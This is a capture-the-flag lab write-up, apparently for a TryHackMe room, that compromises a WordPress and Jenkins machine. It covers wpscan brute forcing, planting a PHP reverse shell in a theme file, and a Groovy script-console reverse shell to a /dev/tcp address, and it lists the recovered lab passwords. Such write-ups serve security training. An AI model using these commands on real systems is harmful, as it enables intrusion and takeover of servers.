---
# System prepended metadata

title: Internal
tags: [TryHackMe OffensiveSecurity AdvancedExploitation]

---

###### tags: `TryHackMe OffensiveSecurity AdvancedExploitation`

# Internal
:::info
I have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days. 

The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that I secure two flags (no location provided) as proof of exploitation:

    User.txt
    Root.txt
:::

## Reconnaissance

### Ports enumeration with nmap

![](https://i.imgur.com/lOMw6is.png)

Ports ssh and http are open.

Since there is a web server running let's enumerate the repertories with Gobuster : 

![](https://i.imgur.com/lTKQAKt.png)

We can see that the web server use wordpress. 
I also notice that the IP given try to connect to the domain name `internal.thm`

![](https://i.imgur.com/iMo8Lp8.png)

I choose to add the domain name associated to the IP to my `/etc/hosts` file.

![](https://i.imgur.com/9SXj99s.png)

Browsing the web server i found the wordpress login form
![](https://i.imgur.com/C495rlF.png)

I decided to use a tool called `wpscan`to enumerate wordpress and try to find any credentials : 
```
wpscan --url 10.10.1.198/blog -e u
-e for enumerating
u for enumerating users
```
![](https://i.imgur.com/eDiDbAL.png)

After the user enumeration,We can see `admin` is the administrator username : 
![](https://i.imgur.com/rtt4hLx.png)


Let's use this info to retreive his password always with `wpscan` : 
```
wpscan --url 10.10.1.198/blog -U admin -P /usr/share/wordlists/rockyou.txt

-U to specify the user we found out
-P to specify a wordlist used for brute forcing the password
```
![](https://i.imgur.com/6qruB9m.png)
![](https://i.imgur.com/K5c4oMA.png)

We have now the all the elements that can allow us to enter the wordpress admin page.
```
Username : admin
Password : my2boys
```
![](https://i.imgur.com/PItd8U6.png)

:::success
PINGO !!!
:::


## Gaining initial access
Now let's manage to find a way to gain an initial access.

I tried to past a php reverse shell in a php file of the dashboard.
To do it i investigate the Dashboard and saw a php page in theme editor. I delete its content and paste my php reverse shell : 
![](https://i.imgur.com/PnveuNm.png)

To trigger it i started a netcat handler and navigate to this url : 
`10.10.1.198/blog/wp-content/themes/twentyseventeen/404.php`

![](https://i.imgur.com/br0FXd1.png)

:::success
I gain an initial access.
:::

## Privilege escalations
After gaining an initial shell my goal is to gain enough privileges and be the root user.
![](https://i.imgur.com/LDcvPKP.png)
While i was enumerating some directories i found out a file called `wp-save.txt` in the `/opt` directory. And to my amazement, the file contained *aubreanna* credenials.
![](https://i.imgur.com/xvrAgPc.png)

We saw earlier in the reconnaissance step that the ssh port was opened. Let's use aubreanna credentials to connect to the server.

![](https://i.imgur.com/MvC2Kw4.png)

:::success
I am now the user aubreanna.
:::

Let's manage to elevate our privileges again and be **root**.

In aubreanna home directory i find a file called `jenkins.txt` and here the content of the file : 

![](https://i.imgur.com/zReALCH.png)

So we can guess jenkins is running on port 8080. Let's create a tunnel to access the service from my local machine.

```
ssh -L 8080:localhost:8080 aubreanna@10.10.1.198
```
![](https://i.imgur.com/9MZceoL.png)

Now from our browser let's access to the jenkins portal : 
![](https://i.imgur.com/HGbZHov.png)


I try to brute force the form with Burpsuite : 
![](https://i.imgur.com/blfeMX5.png)

I choose the `rockyou.txt` wordlist. In the figure above we can see that the length of the `spongebob` password is different from the others. Considering the differences in size between response header sizes we can determine the correct password from an incorrect one and successfully log in.
:::success
 Correct password  : spongebob

:::

After log in the jenkins Dashbord i found several tools like the `script console one` : 
![](https://i.imgur.com/u0nFUrN.png)

I will use the tool to run a reverse shell and have root privileges. I find on internet the commands to run the bash shell : 
```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.11.33.232/1235;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

```
![](https://i.imgur.com/mLVAd8v.png)

After running the script i had a reverse shell in my netcat handler waiting. And like previously, i find in the `/opt` directory the **root password**.

![](https://i.imgur.com/QTLbczc.png)


:::success
user : root
password : tr0ub13guM!@#123
:::
I use ssh to connect to the machine with these credentials.
![](https://i.imgur.com/MYazVub.png)


:::success
I HAVE NOW ROOT PRIVILEGES.
:::